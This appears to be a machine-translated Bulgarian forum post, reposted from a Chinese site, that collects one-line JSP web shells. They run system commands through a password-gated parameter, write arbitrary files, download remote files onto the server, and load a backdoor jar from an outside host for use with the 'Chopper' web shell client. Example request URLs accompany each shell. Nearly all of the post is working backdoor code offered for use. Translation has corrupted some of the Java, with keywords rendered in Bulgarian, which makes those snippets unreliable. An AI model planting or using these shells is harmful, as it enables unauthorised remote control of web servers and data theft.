|
|
Публикувано в 2.01.2015 г. 18:46:57 ч.
|
|
|
|

Прехвърлен от: http://p2j.cn/?p=1627 1. Изпълнявайте системни команди: Изпълнявайте системни команди без ехо: <%Runtime.getRuntime().exec(request.getParameter("i"));%> Заявка: http://192.168.16.240:8080/Shell/cmd2.jsp?i=ls Няма да има ехо след изпълнението, което е много удобно за bounce shells. Има и ехота при потвърждаване на парола: <% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; байт[] b = нов байт[2048]; out.print("<pre>); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); }%> Заявка: http://192.168.16.240:8080/Shell/cmd2.jsp?pwd=023&i=ls
2. Кодирайте низа и го запишете в зададения файл: 1: <%new java.io.FileOutputStream(request.getParameter("f")).write(request.getParameter("c").getBytes();%> Заявка: http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234 Запиши в уеб директорията: <%new java.io.FileOutputStream(application.getRealPath("/")+"/"+request.getParameter("f")).write(request.getParameter("c").getBytes();%> Заявка: http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234 2: <%new java.io.RandomAccessFile(request.getParameter("f"),"rw").write(request.getParameter("c").getBytes()); %> Заявка: http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234 Запиши в уеб директорията: <%new java.io.RandomAccessFile(application.getRealPath("/")+"/"+request.getParameter("f"),"rw").write(request.getParameter("c").getBytes()); %> Заявка: http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234 3: Изтеглете отдалечения файл (ако не използвате apache io utils, не можете да конвертирате входния поток в байт, така че е много дълъг...) <% java.io.InputStream in = new java.net.URL(request.getParameter("u")).openStream(); байт[] b = нов байт[1024]; java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream(); int a = -1; докато ((a = в.read(b)) != -1) { baos.write(b, 0, a); } new java.io.FileOutputStream(request.getParameter("f")).write(baos.toByteArray()); %> Заявка: http://localhost:8080/Shell/download.jsp?f=/Users/yz/wwwroot/1.png&u=http://www.baidu.com/img/bdlogo.png Изтеглете на уеб пътя: <% java.io.InputStream in = new java.net.URL(request.getParameter("u")).openStream(); байт[] b = нов байт[1024]; java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream(); int a = -1; докато ((a = в.read(b)) != -1) { baos.write(b, 0, a); } new java.io.FileOutputStream(application.getRealPath("/")+"/"+ request.getParameter("f")).write(baos.toByteArray()); %> Заявка: http://localhost:8080/Shell/download.jsp?f=1.png&u=http://www.baidu.com/img/bdlogo.png Четвърто: Отражението вика външния буркан, усъвършенстване на задната врата Ако не харесвате горната функция за задната врата, която е твърде слаба и остаряла, можете да опитате това: <%=Class.forName("Load",true,new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL(request.getParameter("u"))}).getMethods()[0].invoke(null, new Object[]{ request.getParameterMap()})%> Заявка: http://192.168.16.240:8080/Shell/reflect.jsp?u=http://p2j.cn/Cat.jar&023=A
Връзка с кухненски нож: http://192.168.16.240:8080/Shell/reflect.jsp?u=http://p2j.cn/Cat.jar, парола 023.
Решение: Използвайте отражение, за да заредите външен jar в текущото приложение и отражението изпълнява резултата от обработката на изхода. request.getParameterMap() съдържа всички поискани параметри. Тъй като външният jar пакет е зареден, сървърът трябва да има достъп до този jar адрес. |
Предишен:Кризата зад текстовия файл TXTСледващ:Java MD5 криптиране, Base64 криптиране и декриптиране Java изпълнява системния команден изходен код
|